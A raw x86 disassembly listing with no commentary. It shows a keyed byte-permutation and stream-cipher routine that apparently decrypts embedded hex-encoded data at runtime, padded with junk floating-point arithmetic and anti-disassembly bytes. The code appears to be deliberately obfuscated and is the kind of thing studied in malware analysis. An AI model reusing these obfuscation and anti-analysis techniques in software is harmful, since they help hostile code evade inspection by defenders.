jmp 0x4390b6
call fcn.009ea777
xor ecx, ecx
mov edx, dword [ebp - 0x53b4]
mov word [ebp + edx - 0x34c], cx
jmp 0x439080
push 0
push 1
mov eax, dword [ebp - 0x4698]
push eax
lea ecx, [ebp - 0x264]
push ecx
push 0
lea edx, [ebp - 0x34c]
push edx
movzx eax, byte [ebp + 0xc]
push eax
call fcn.00428c90
add esp, 0x1c
mov dword [ebp - 0x319c], 0
mov dword [ebp - 0x31a0], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x47bc], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4678], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4678], xmm0
jmp 0x43913f
movsd xmm0, qword [ebp - 0x4678]
addsd xmm0, qword [0xa66358]
movsd qword [ebp - 0x4678], xmm0
movsd xmm0, qword [0xa668e0]
comisd xmm0, xmmword [ebp - 0x4678]
jbe 0x4391f0
movsd xmm0, qword [0xa66610]
mulsd xmm0, qword [ebp - 0x4678]
mulsd xmm0, qword [ebp - 0x4678]
movsd xmm1, qword [ebp - 0x4678]
mulsd xmm1, qword [ebp - 0x4678]
subsd xmm0, xmm1
movsd xmm1, qword [0xa66368]
mulsd xmm1, qword [ebp - 0x4678]
mulsd xmm1, qword [ebp - 0x4678]
addsd xmm1, qword [0xa664e0]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x47bc]
movsd qword [ebp - 0x47bc], xmm0
movsd xmm0, qword [ebp - 0x47bc]
comisd xmm0, xmmword [0xa66580]
jbe 0x4391eb
movsd xmm0, qword [0xa66260]
mulsd xmm0, qword [ebp - 0x4678]
movsd xmm1, qword [ebp - 0x47bc]
subsd xmm1, xmm0
movsd qword [ebp - 0x47bc], xmm1
jmp 0x439127
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x47bc]
jbe 0x439265
mov esp, 0xbc52c54e
pop ebx
mov ebx, 0xbf55bc5b
dec esp
mov edi, 0xc755b852
push ebp
invalid
mov dword [ebp - 0x319c], 0x4391fd
mov dword [ebp - 0x31a0], 0x43924f
mov ecx, dword [ebp - 0x319c]
mov dword [ebp - 0x4264], ecx
mov edx, dword [ebp - 0x31a0]
mov dword [ebp - 0x6330], edx
mov byte [ebp - 0x4026], 0x15
mov dword [ebp - 0x38b4], 0
jmp 0x4392b3
mov eax, dword [ebp - 0x38b4]
add eax, 1
mov dword [ebp - 0x38b4], eax
cmp dword [ebp - 0x38b4], 0x100
jae 0x4392d4
mov ecx, dword [ebp - 0x38b4]
mov dl, byte [ebp - 0x38b4]
mov byte [ebp + ecx - 0x6bac], dl
jmp 0x4392a4
mov dword [ebp - 0x4508], 0
mov byte [ebp - 0x3351], 0
mov dword [ebp - 0x38b4], 0xff
jmp 0x439300
mov eax, dword [ebp - 0x38b4]
sub eax, 1
mov dword [ebp - 0x38b4], eax
cmp dword [ebp - 0x38b4], 0
jbe 0x439570
mov dword [ebp - 0x4c0c], 0
mov dword [ebp - 0x49a8], 1
mov ecx, dword [ebp - 0x49a8]
cmp ecx, dword [ebp - 0x38b4]
jae 0x439341
mov edx, dword [ebp - 0x49a8]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x49a8], eax
jmp 0x439321
mov ecx, dword [ebp - 0x4508]
mov dword [ebp - 0x53b0], ecx
cmp dword [ebp - 0x53b0], 3
ja case.default.0x439360
mov edx, dword [ebp - 0x53b0]
jmp dword [edx*4 + 0x46ce04]
movzx eax, byte [ebp - 0x3351]
movzx ebx, byte [ebp + eax - 0x6bac]
movsd xmm0, qword [ebp - 0x47bc]
call fcn.009eac50
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3351], bl
jmp 0x439449
movzx ecx, byte [ebp - 0x3351]
movzx ebx, byte [ebp + ecx - 0x6bac]
movsd xmm0, qword [ebp - 0x47bc]
call fcn.009eac50
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3351], bl
jmp 0x439449
movzx edx, byte [ebp - 0x3351]
movzx ebx, byte [ebp + edx - 0x6bac]
movsd xmm0, qword [ebp - 0x47bc]
call fcn.009eac50
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3351], bl
jmp 0x439449
movzx eax, byte [ebp - 0x3351]
movzx ebx, byte [ebp + eax - 0x6bac]
movsd xmm0, qword [ebp - 0x47bc]
call fcn.009eac50
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3351], bl
jmp 0x439449
movzx ecx, byte [ebp - 0x3351]
movzx edx, byte [ebp + ecx - 0x6bac]
mov eax, dword [ebp - 0x6330]
add eax, dword [ebp - 0x4508]
movzx ecx, byte [eax - 4]
add edx, ecx
mov byte [ebp - 0x3351], dl
mov edx, dword [ebp - 0x4508]
add edx, 1
mov dword [ebp - 0x4508], edx
movzx eax, byte [ebp - 0x4026]
cmp dword [ebp - 0x4508], eax
jb 0x439487
mov dword [ebp - 0x4508], 0
movzx ecx, byte [ebp - 0x4026]
movzx edx, byte [ebp - 0x3351]
add edx, ecx
mov byte [ebp - 0x3351], dl
movzx eax, byte [ebp - 0x3351]
and eax, dword [ebp - 0x49a8]
mov dword [ebp - 0x426c], eax
mov ecx, dword [ebp - 0x4c0c]
add ecx, 1
mov dword [ebp - 0x4c0c], ecx
cmp dword [ebp - 0x4c0c], 0xb
jbe 0x4394c6
mov eax, dword [ebp - 0x426c]
xor edx, edx
div dword [ebp - 0x38b4]
mov dword [ebp - 0x426c], edx
mov edx, dword [ebp - 0x426c]
cmp edx, dword [ebp - 0x38b4]
ja 0x439341
mov eax, dword [ebp - 0x38b4]
cmp eax, dword [ebp - 0x426c]
je 0x43956b
mov ecx, dword [ebp - 0x426c]
movzx edx, byte [ebp + ecx - 0x6bac]
mov eax, dword [ebp - 0x38b4]
movzx ecx, byte [ebp + eax - 0x6bac]
xor ecx, edx
mov edx, dword [ebp - 0x38b4]
mov byte [ebp + edx - 0x6bac], cl
mov eax, dword [ebp - 0x38b4]
movzx ecx, byte [ebp + eax - 0x6bac]
mov edx, dword [ebp - 0x426c]
movzx eax, byte [ebp + edx - 0x6bac]
xor eax, ecx
mov ecx, dword [ebp - 0x426c]
mov byte [ebp + ecx - 0x6bac], al
mov edx, dword [ebp - 0x426c]
movzx eax, byte [ebp + edx - 0x6bac]
mov ecx, dword [ebp - 0x38b4]
movzx edx, byte [ebp + ecx - 0x6bac]
xor edx, eax
mov eax, dword [ebp - 0x38b4]
mov byte [ebp + eax - 0x6bac], dl
jmp 0x4392f1
mov ecx, 1
shl ecx, 0
mov dl, byte [ebp + ecx - 0x6bac]
mov byte [ebp - 0x32e7], dl
mov eax, 1
imul ecx, eax, 3
mov dl, byte [ebp + ecx - 0x6bac]
mov byte [ebp - 0x330a], dl
mov eax, 1
imul ecx, eax, 5
mov dl, byte [ebp + ecx - 0x6bac]
mov byte [ebp - 0x3381], dl
mov eax, 1
imul ecx, eax, 7
mov dl, byte [ebp + ecx - 0x6bac]
mov byte [ebp - 0x330b], dl
movzx eax, byte [ebp - 0x3351]
mov cl, byte [ebp + eax - 0x6bac]
mov byte [ebp - 0x3328], cl
mov dword [ebp - 0x53ac], 0x52
cmp dword [ebp - 0x53ac], 2
jle 0x43ab25
mov edx, dword [ebp - 0x53ac]
and edx, 1
jne 0x43ab25
mov dword [ebp - 0x3584], 0
mov dword [ebp - 0x3c3c], 0
mov eax, dword [ebp - 0x3c3c]
add eax, 1
mov dword [ebp - 0x3c3c], eax
mov dword [ebp - 0x4268], 0
mov ecx, dword [ebp - 0x3584]
shl ecx, 1
mov dword [ebp - 0x4268], ecx
mov dword [ebp - 0x41f0], 0
mov edx, dword [ebp - 0x4264]
add edx, dword [ebp - 0x4268]
movzx eax, byte [edx]
add eax, dword [ebp - 0x41f0]
mov dword [ebp - 0x41f0], eax
mov dword [ebp - 0x41ec], 0
mov ecx, dword [ebp - 0x41ec]
add ecx, 0xb8
mov dword [ebp - 0x41ec], ecx
mov dword [ebp - 0x433c], 0
mov edx, dword [ebp - 0x3584]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x433c], eax
mov dword [ebp - 0x41dc], 0
mov ecx, dword [ebp - 0x4264]
add ecx, dword [ebp - 0x433c]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x41dc]
mov dword [ebp - 0x41dc], edx
mov dword [ebp - 0x41e0], 0
mov eax, dword [ebp - 0x41e0]
add eax, 0x4c
mov dword [ebp - 0x41e0], eax
mov dword [ebp - 0x41bc], 0
mov ecx, dword [ebp - 0x41f0]
sub ecx, dword [ebp - 0x41ec]
add ecx, dword [ebp - 0x41bc]
mov dword [ebp - 0x41bc], ecx
mov dword [ebp - 0x41d4], 0
mov edx, dword [ebp - 0x41dc]
sub edx, dword [ebp - 0x41e0]
add edx, dword [ebp - 0x41d4]
mov dword [ebp - 0x41d4], edx
mov dword [ebp - 0x4274], 0
mov eax, dword [ebp - 0x41bc]
shl eax, 4
mov dword [ebp - 0x4274], eax
mov dword [ebp - 0x4294], 0
mov ecx, dword [ebp - 0x41d4]
mov dword [ebp - 0x4294], ecx
mov dword [ebp - 0x42d0], 0
mov edx, dword [ebp - 0x4274]
or edx, dword [ebp - 0x4294]
mov dword [ebp - 0x42d0], edx
mov byte [ebp - 0x3382], 0
mov al, byte [ebp - 0x42d0]
mov byte [ebp - 0x3382], al
mov byte [ebp - 0x3384], 0
movzx ecx, byte [ebp - 0x3328]
mov dl, byte [ebp + ecx - 0x6bac]
mov byte [ebp - 0x3384], dl
movzx eax, byte [ebp - 0x32e7]
movzx ecx, byte [ebp + eax - 0x6bac]
movzx edx, byte [ebp - 0x330a]
add edx, ecx
mov byte [ebp - 0x330a], dl
mov al, byte [ebp - 0x32e7]
add al, 1
mov byte [ebp - 0x32e7], al
movzx ecx, byte [ebp - 0x330a]
movzx edx, byte [ebp - 0x3328]
mov al, byte [ebp + ecx - 0x6bac]
mov byte [ebp + edx - 0x6bac], al
movzx ecx, byte [ebp - 0x330b]
movzx edx, byte [ebp - 0x330a]
mov al, byte [ebp + ecx - 0x6bac]
mov byte [ebp + edx - 0x6bac], al
movzx ecx, byte [ebp - 0x32e7]
movzx edx, byte [ebp - 0x330b]
mov al, byte [ebp + ecx - 0x6bac]
mov byte [ebp + edx - 0x6bac], al
movzx ecx, byte [ebp - 0x32e7]
mov dl, byte [ebp - 0x3384]
mov byte [ebp + ecx - 0x6bac], dl
movzx eax, byte [ebp - 0x3384]
movzx ecx, byte [ebp + eax - 0x6bac]
movzx edx, byte [ebp - 0x3381]
add edx, ecx
mov byte [ebp - 0x3381], dl
movzx eax, byte [ebp - 0x3382]
movzx ecx, byte [ebp - 0x330a]
movzx edx, byte [ebp + ecx - 0x6bac]
movzx ecx, byte [ebp - 0x32e7]
movzx ecx, byte [ebp + ecx - 0x6bac]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x6bac]
xor eax, edx
movzx ecx, byte [ebp - 0x330b]
movzx edx, byte [ebp + ecx - 0x6bac]
movzx ecx, byte [ebp - 0x3328]
movzx ecx, byte [ebp + ecx - 0x6bac]
add edx, ecx
movzx ecx, byte [ebp - 0x3381]
movzx ecx, byte [ebp + ecx - 0x6bac]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x6bac]
movzx ecx, byte [ebp + edx - 0x6bac]
xor eax, ecx
mov byte [ebp - 0x330b], al
mov dl, byte [ebp - 0x3382]
mov byte [ebp - 0x3328], dl
mov al, byte [ebp - 0x330b]
mov byte [ebp - 0x3429], al
cmp dword [ebp - 0x3584], 0
jle 0x4398fe
movsx cx, byte [ebp - 0x3429]
mov edx, dword [ebp - 0x3584]
mov word [ebp + edx*2 - 0x4a6], cx
mov eax, dword [ebp - 0x3c3c]
add eax, 0x13
mov dword [ebp - 0x3c3c], eax
mov ecx, dword [ebp - 0x3584]
add ecx, 1
mov dword [ebp - 0x4c10], ecx
jmp 0x43992d
mov edx, dword [ebp - 0x4c10]
add edx, 1
mov dword [ebp - 0x4c10], edx
mov eax, dword [ebp - 0x4c10]
cmp eax, dword [ebp - 0x3c3c]
jge 0x439d9c
mov ecx, dword [ebp - 0x3584]
add ecx, 1
mov dword [ebp - 0x3584], ecx
mov edx, dword [ebp - 0x3584]
shl edx, 1
mov dword [ebp - 0x4268], edx
movsd xmm0, qword [0xa66e90]
movsd qword [ebp - 0x4448], xmm0
movsd xmm0, qword [0xa66c28]
movsd qword [ebp - 0x3ff0], xmm0
movsd xmm0, qword [0xa66970]
movsd qword [ebp - 0x40b4], xmm0
movsd xmm0, qword [ebp - 0x3ff0]
subsd xmm0, qword [ebp - 0x40b4]
movsd qword [ebp - 0x3ff0], xmm0
movsd xmm0, qword [ebp - 0x3ff0]
addsd xmm0, qword [ebp - 0x40b4]
movsd qword [ebp - 0x3ff0], xmm0
movsd xmm0, qword [ebp - 0x4448]
subsd xmm0, qword [ebp - 0x40b4]
movsd qword [ebp - 0x4448], xmm0
movsd xmm0, qword [ebp - 0x40b4]
comisd xmm0, xmmword [ebp - 0x4448]
jbe 0x439b20
movsd xmm0, qword [ebp - 0x4448]
addsd xmm0, qword [ebp - 0x40b4]
movsd qword [ebp - 0x4448], xmm0
movsd xmm0, qword [ebp - 0x40b4]
mulsd xmm0, qword [ebp - 0x3ff0]
movsd qword [ebp - 0x40b4], xmm0
movsd xmm0, qword [ebp - 0x40b4]
addsd xmm0, qword [ebp - 0x3ff0]
movsd qword [ebp - 0x40b4], xmm0
movsd xmm0, qword [ebp - 0x4448]
mulsd xmm0, qword [ebp - 0x3ff0]
movsd qword [ebp - 0x4448], xmm0
movsd xmm0, qword [ebp - 0x3ff0]
subsd xmm0, qword [ebp - 0x40b4]
movsd qword [ebp - 0x3ff0], xmm0
movsd xmm0, qword [ebp - 0x40b4]
mulsd xmm0, qword [ebp - 0x4448]
movsd qword [ebp - 0x40b4], xmm0
movsd xmm0, qword [ebp - 0x4448]
comisd xmm0, xmmword [ebp - 0x40b4]
jbe 0x439ad6
movsd xmm0, qword [ebp - 0x3ff0]
mulsd xmm0, qword [ebp - 0x40b4]
movsd qword [ebp - 0x3ff0], xmm0
movsd xmm0, qword [ebp - 0x3ff0]
subsd xmm0, qword [ebp - 0x40b4]
movsd qword [ebp - 0x3ff0], xmm0
movsd xmm0, qword [ebp - 0x3ff0]
divsd xmm0, qword [ebp - 0x40b4]
movsd qword [ebp - 0x3ff0], xmm0
jmp 0x439b1e
movsd xmm0, qword [ebp - 0x4448]
subsd xmm0, qword [ebp - 0x40b4]
movsd qword [ebp - 0x4448], xmm0
movsd xmm0, qword [ebp - 0x40b4]
mulsd xmm0, qword [ebp - 0x3ff0]
movsd qword [ebp - 0x40b4], xmm0
movsd xmm0, qword [ebp - 0x40b4]
divsd xmm0, qword [ebp - 0x3ff0]
movsd qword [ebp - 0x40b4], xmm0
jmp 0x439b7d
movsd xmm0, qword [ebp - 0x3ff0]
subsd xmm0, qword [ebp - 0x4448]
movsd qword [ebp - 0x3ff0], xmm0
movsd xmm0, qword [ebp - 0x3ff0]
mulsd xmm0, qword [ebp - 0x4448]
movsd qword [ebp - 0x3ff0], xmm0
movsd xmm0, qword [ebp - 0x3ff0]
mulsd xmm0, qword [ebp - 0x4448]
movsd qword [ebp - 0x3ff0], xmm0
mov eax, dword [ebp - 0x4264]
add eax, dword [ebp - 0x4268]
movzx ecx, byte [eax]
mov dword [ebp - 0x41f0], ecx
mov dword [ebp - 0x41ec], 0xb8
mov edx, dword [ebp - 0x3584]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x433c], eax
mov ecx, dword [ebp - 0x4264]
add ecx, dword [ebp - 0x433c]
movzx edx, byte [ecx]
mov dword [ebp - 0x41dc], edx
mov dword [ebp - 0x41e0], 0x4c
mov eax, dword [ebp - 0x41f0]
sub eax, dword [ebp - 0x41ec]
mov dword [ebp - 0x41bc], eax
mov ecx, dword [ebp - 0x41dc]
sub ecx, dword [ebp - 0x41e0]
mov dword [ebp - 0x41d4], ecx
mov edx, dword [ebp - 0x41bc]
shl edx, 4
mov dword [ebp - 0x4274], edx
mov eax, dword [ebp - 0x41d4]
mov dword [ebp - 0x4294], eax
mov ecx, dword [ebp - 0x4274]
or ecx, dword [ebp - 0x4294]
mov dword [ebp - 0x42d0], ecx
mov dl, byte [ebp - 0x42d0]
mov byte [ebp - 0x3382], dl
movzx eax, byte [ebp - 0x3328]
mov cl, byte [ebp + eax - 0x6bac]
mov byte [ebp - 0x3384], cl
movzx edx, byte [ebp - 0x32e7]
movzx eax, byte [ebp + edx - 0x6bac]
movzx ecx, byte [ebp - 0x330a]
add ecx, eax
mov byte [ebp - 0x330a], cl
mov dl, byte [ebp - 0x32e7]
add dl, 1
mov byte [ebp - 0x32e7], dl
movzx eax, byte [ebp - 0x330a]
movzx ecx, byte [ebp - 0x3328]
mov dl, byte [ebp + eax - 0x6bac]
mov byte [ebp + ecx - 0x6bac], dl
movzx eax, byte [ebp - 0x330b]
movzx ecx, byte [ebp - 0x330a]
mov dl, byte [ebp + eax - 0x6bac]
mov byte [ebp + ecx - 0x6bac], dl
movzx eax, byte [ebp - 0x32e7]
movzx ecx, byte [ebp - 0x330b]
mov dl, byte [ebp + eax - 0x6bac]
mov byte [ebp + ecx - 0x6bac], dl
movzx eax, byte [ebp - 0x32e7]
mov cl, byte [ebp - 0x3384]
mov byte [ebp + eax - 0x6bac], cl
movzx edx, byte [ebp - 0x3384]
movzx eax, byte [ebp + edx - 0x6bac]
movzx ecx, byte [ebp - 0x3381]
add ecx, eax
mov byte [ebp - 0x3381], cl
movzx edx, byte [ebp - 0x3382]
movzx eax, byte [ebp - 0x330a]
movzx ecx, byte [ebp + eax - 0x6bac]
movzx eax, byte [ebp - 0x32e7]
movzx eax, byte [ebp + eax - 0x6bac]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x6bac]
xor edx, ecx
movzx eax, byte [ebp - 0x330b]
movzx ecx, byte [ebp + eax - 0x6bac]
movzx eax, byte [ebp - 0x3328]
movzx eax, byte [ebp + eax - 0x6bac]
add ecx, eax
movzx eax, byte [ebp - 0x3381]
movzx eax, byte [ebp + eax - 0x6bac]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x6bac]
movzx eax, byte [ebp + ecx - 0x6bac]
xor edx, eax
mov byte [ebp - 0x330b], dl
mov cl, byte [ebp - 0x3382]
mov byte [ebp - 0x3328], cl
mov dl, byte [ebp - 0x330b]
mov byte [ebp - 0x3429], dl
cmp dword [ebp - 0x3584], 0
jle 0x439d97
movsx ax, byte [ebp - 0x3429]
mov ecx, dword [ebp - 0x3584]
mov word [ebp + ecx*2 - 0x4a6], ax
jmp 0x43991e
mov edx, dword [ebp - 0x3c3c]
add edx, 1
mov dword [ebp - 0x3c3c], edx
mov eax, dword [ebp - 0x3584]
add eax, 1
mov dword [ebp - 0x3584], eax
mov ecx, dword [ebp - 0x3c3c]
add ecx, 1
mov dword [ebp - 0x3c3c], ecx
mov edx, dword [ebp - 0x3584]
shl edx, 1
mov dword [ebp - 0x4268], edx
mov eax, dword [ebp - 0x4264]
add eax, dword [ebp - 0x4268]
movzx ecx, byte [eax]
mov dword [ebp - 0x41f0], ecx
mov dword [ebp - 0x41ec], 0xb8
mov edx, dword [ebp - 0x3584]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x433c], eax
mov ecx, dword [ebp - 0x4264]
add ecx, dword [ebp - 0x433c]
movzx edx, byte [ecx]
mov dword [ebp - 0x41dc], edx
mov dword [ebp - 0x41e0], 0x4c
mov eax, dword [ebp - 0x41f0]
sub eax, dword [ebp - 0x41ec]
mov dword [ebp - 0x41bc], eax
mov ecx, dword [ebp - 0x41dc]
sub ecx, dword [ebp - 0x41e0]
mov dword [ebp - 0x41d4], ecx
movss xmm0, dword [0xa6748c]
movss dword [ebp - 0x3614], xmm0
movss xmm0, dword [0xa6734c]
movss dword [ebp - 0x33f8], xmm0
movss xmm0, dword [0xa67150]
movss dword [ebp - 0x3424], xmm0
movss xmm0, dword [ebp - 0x33f8]
mulss xmm0, dword [ebp - 0x3424]
movss dword [ebp - 0x33f8], xmm0
movss xmm0, dword [ebp - 0x33f8]
mulss xmm0, dword [ebp - 0x3424]
movss dword [ebp - 0x33f8], xmm0
movss xmm0, dword [ebp - 0x33f8]
addss xmm0, dword [ebp - 0x3424]
movss dword [ebp - 0x33f8], xmm0
movss xmm0, dword [ebp - 0x3424]
comiss xmm0, dword [ebp - 0x33f8]
jbe 0x43a0fa
movss xmm0, dword [ebp - 0x33f8]
subss xmm0, dword [ebp - 0x3614]
movss dword [ebp - 0x33f8], xmm0
movss xmm0, dword [ebp - 0x3614]
mulss xmm0, dword [ebp - 0x3424]
movss dword [ebp - 0x3614], xmm0
movss xmm0, dword [ebp - 0x3424]
addss xmm0, dword [ebp - 0x33f8]
movss dword [ebp - 0x3424], xmm0
movss xmm0, dword [ebp - 0x3424]
divss xmm0, dword [ebp - 0x3614]
movss dword [ebp - 0x3424], xmm0
movss xmm0, dword [ebp - 0x3424]
divss xmm0, dword [ebp - 0x3614]
movss dword [ebp - 0x3424], xmm0
movss xmm0, dword [ebp - 0x33f8]
divss xmm0, dword [ebp - 0x3424]
movss dword [ebp - 0x33f8], xmm0
movss xmm0, dword [ebp - 0x3424]
comiss xmm0, dword [ebp - 0x33f8]
jbe 0x43a0b0
movss xmm0, dword [ebp - 0x3614]
divss xmm0, dword [ebp - 0x33f8]
movss dword [ebp - 0x3614], xmm0
movss xmm0, dword [ebp - 0x3424]
subss xmm0, dword [ebp - 0x3614]
movss dword [ebp - 0x3424], xmm0
movss xmm0, dword [ebp - 0x33f8]
subss xmm0, dword [ebp - 0x3424]
movss dword [ebp - 0x33f8], xmm0
movss xmm0, dword [ebp - 0x33f8]
subss xmm0, dword [ebp - 0x3424]
movss dword [ebp - 0x33f8], xmm0
movss xmm0, dword [ebp - 0x33f8]
addss xmm0, dword [ebp - 0x3424]
movss dword [ebp - 0x33f8], xmm0
movss xmm0, dword [ebp - 0x3614]
addss xmm0, dword [ebp - 0x33f8]
movss dword [ebp - 0x3614], xmm0
movss xmm0, dword [ebp - 0x3614]
comiss xmm0, dword [ebp - 0x3424]
jbe 0x43a066
movss xmm0, dword [ebp - 0x33f8]
divss xmm0, dword [ebp - 0x3614]
movss dword [ebp - 0x33f8], xmm0
movss xmm0, dword [ebp - 0x3614]
divss xmm0, dword [ebp - 0x3424]
movss dword [ebp - 0x3614], xmm0
movss xmm0, dword [ebp - 0x3614]
mulss xmm0, dword [ebp - 0x3424]
movss dword [ebp - 0x3614], xmm0
jmp 0x43a0ae
movss xmm0, dword [ebp - 0x3614]
subss xmm0, dword [ebp - 0x33f8]
movss dword [ebp - 0x3614], xmm0
movss xmm0, dword [ebp - 0x33f8]
addss xmm0, dword [ebp - 0x3424]
movss dword [ebp - 0x33f8], xmm0
movss xmm0, dword [ebp - 0x33f8]
divss xmm0, dword [ebp - 0x3424]
movss dword [ebp - 0x33f8], xmm0
jmp 0x43a0f8
movss xmm0, dword [ebp - 0x3424]
addss xmm0, dword [ebp - 0x3614]
movss dword [ebp - 0x3424], xmm0
movss xmm0, dword [ebp - 0x33f8]
mulss xmm0, dword [ebp - 0x3424]
movss dword [ebp - 0x33f8], xmm0
movss xmm0, dword [ebp - 0x3424]
mulss xmm0, dword [ebp - 0x3614]
movss dword [ebp - 0x3424], xmm0
jmp 0x43a151
movss xmm0, dword [ebp - 0x3424]
mulss xmm0, dword [ebp - 0x3614]
movss dword [ebp - 0x3424], xmm0
movss xmm0, dword [ebp - 0x33f8]
mulss xmm0, dword [ebp - 0x3424]
movss dword [ebp - 0x33f8], xmm0
movss xmm0, dword [ebp - 0x33f8]
subss xmm0, dword [ebp - 0x3424]
movss dword [ebp - 0x33f8], xmm0
mov edx, dword [ebp - 0x41bc]
shl edx, 4
mov dword [ebp - 0x4274], edx
mov eax, dword [ebp - 0x41d4]
mov dword [ebp - 0x4294], eax
mov ecx, dword [ebp - 0x4274]
or ecx, dword [ebp - 0x4294]
mov dword [ebp - 0x42d0], ecx
mov dl, byte [ebp - 0x42d0]
mov byte [ebp - 0x3382], dl
movzx eax, byte [ebp - 0x3328]
mov cl, byte [ebp + eax - 0x6bac]
mov byte [ebp - 0x3384], cl
movzx edx, byte [ebp - 0x32e7]
movzx eax, byte [ebp + edx - 0x6bac]
movzx ecx, byte [ebp - 0x330a]
add ecx, eax
mov byte [ebp - 0x330a], cl
mov dl, byte [ebp - 0x32e7]
add dl, 1
mov byte [ebp - 0x32e7], dl
movzx eax, byte [ebp - 0x330a]
movzx ecx, byte [ebp - 0x3328]
mov dl, byte [ebp + eax - 0x6bac]
mov byte [ebp + ecx - 0x6bac], dl
movzx eax, byte [ebp - 0x330b]
movzx ecx, byte [ebp - 0x330a]
mov dl, byte [ebp + eax - 0x6bac]
mov byte [ebp + ecx - 0x6bac], dl
movzx eax, byte [ebp - 0x32e7]
movzx ecx, byte [ebp - 0x330b]
mov dl, byte [ebp + eax - 0x6bac]
mov byte [ebp + ecx - 0x6bac], dl
movzx eax, byte [ebp - 0x32e7]
mov cl, byte [ebp - 0x3384]
mov byte [ebp + eax - 0x6bac], cl
movzx edx, byte [ebp - 0x3384]
movzx eax, byte [ebp + edx - 0x6bac]
movzx ecx, byte [ebp - 0x3381]
add ecx, eax
mov byte [ebp - 0x3381], cl
movzx edx, byte [ebp - 0x3382]
movzx eax, byte [ebp - 0x330a]
movzx ecx, byte [ebp + eax - 0x6bac]
movzx eax, byte [ebp - 0x32e7]
movzx eax, byte [ebp + eax - 0x6bac]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x6bac]
xor edx, ecx
movzx eax, byte [ebp - 0x330b]
movzx ecx, byte [ebp + eax - 0x6bac]
movzx eax, byte [ebp - 0x3328]
movzx eax, byte [ebp + eax - 0x6bac]
add ecx, eax
movzx eax, byte [ebp - 0x3381]
movzx eax, byte [ebp + eax - 0x6bac]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x6bac]
movzx eax, byte [ebp + ecx - 0x6bac]
xor edx, eax
mov byte [ebp - 0x330b], dl
mov cl, byte [ebp - 0x3382]
mov byte [ebp - 0x3328], cl
mov dl, byte [ebp - 0x330b]
mov byte [ebp - 0x3429], dl
cmp dword [ebp - 0x3584], 0
jle 0x43a2ff
movsx ax, byte [ebp - 0x3429]
mov ecx, dword [ebp - 0x3584]
mov word [ebp + ecx*2 - 0x4a6], ax
mov edx, dword [ebp - 0x3c3c]
add edx, 0x14
mov dword [ebp - 0x3c3c], edx
mov eax, dword [ebp - 0x3584]
add eax, 1
mov dword [ebp - 0x4c14], eax
jmp 0x43a32e
mov ecx, dword [ebp - 0x4c14]
add ecx, 1
mov dword [ebp - 0x4c14], ecx
mov edx, dword [ebp - 0x4c14]
cmp edx, dword [ebp - 0x3c3c]
jge 0x43a8dc
mov eax, dword [ebp - 0x3584]
add eax, 1
mov dword [ebp - 0x3584], eax
mov ecx, dword [ebp - 0x3584]
shl ecx, 1
mov dword [ebp - 0x4268], ecx
mov edx, dword [ebp - 0x4264]
add edx, dword [ebp - 0x4268]
movzx eax, byte [edx]
mov dword [ebp - 0x41f0], eax
mov dword [ebp - 0x41ec], 0xb8
mov ecx, dword [ebp - 0x3584]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x433c], edx
mov eax, dword [ebp - 0x4264]
add eax, dword [ebp - 0x433c]
movzx ecx, byte [eax]
mov dword [ebp - 0x41dc], ecx
mov dword [ebp - 0x41e0], 0x4c
mov edx, dword [ebp - 0x41f0]
sub edx, dword [ebp - 0x41ec]
mov dword [ebp - 0x41bc], edx
mov eax, dword [ebp - 0x41dc]
sub eax, dword [ebp - 0x41e0]
mov dword [ebp - 0x41d4], eax
mov ecx, dword [ebp - 0x41bc]
shl ecx, 4
mov dword [ebp - 0x4274], ecx
mov edx, dword [ebp - 0x41d4]
mov dword [ebp - 0x4294], edx
mov eax, dword [ebp - 0x4274]
or eax, dword [ebp - 0x4294]
mov dword [ebp - 0x42d0], eax
mov cl, byte [ebp - 0x42d0]
mov byte [ebp - 0x3382], cl
movzx edx, byte [ebp - 0x3328]
mov al, byte [ebp + edx - 0x6bac]
mov byte [ebp - 0x3384], al
movzx ecx, byte [ebp - 0x32e7]
movzx edx, byte [ebp + ecx - 0x6bac]
movzx eax, byte [ebp - 0x330a]
add eax, edx
mov byte [ebp - 0x330a], al
mov cl, byte [ebp - 0x32e7]
add cl, 1
mov byte [ebp - 0x32e7], cl
movzx edx, byte [ebp - 0x330a]
movzx eax, byte [ebp - 0x3328]
mov cl, byte [ebp + edx - 0x6bac]
mov byte [ebp + eax - 0x6bac], cl
movzx edx, byte [ebp - 0x330b]
movzx eax, byte [ebp - 0x330a]
mov cl, byte [ebp + edx - 0x6bac]
mov byte [ebp + eax - 0x6bac], cl
movzx edx, byte [ebp - 0x32e7]
movzx eax, byte [ebp - 0x330b]
mov cl, byte [ebp + edx - 0x6bac]
mov byte [ebp + eax - 0x6bac], cl
movzx edx, byte [ebp - 0x32e7]
mov al, byte [ebp - 0x3384]
mov byte [ebp + edx - 0x6bac], al
movzx ecx, byte [ebp - 0x3384]
movzx edx, byte [ebp + ecx - 0x6bac]
movzx eax, byte [ebp - 0x3381]
add eax, edx
mov byte [ebp - 0x3381], al
movzx ecx, byte [ebp - 0x3382]
movzx edx, byte [ebp - 0x330a]
movzx eax, byte [ebp + edx - 0x6bac]
movzx edx, byte [ebp - 0x32e7]
movzx edx, byte [ebp + edx - 0x6bac]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x6bac]
xor ecx, eax
movzx edx, byte [ebp - 0x330b]
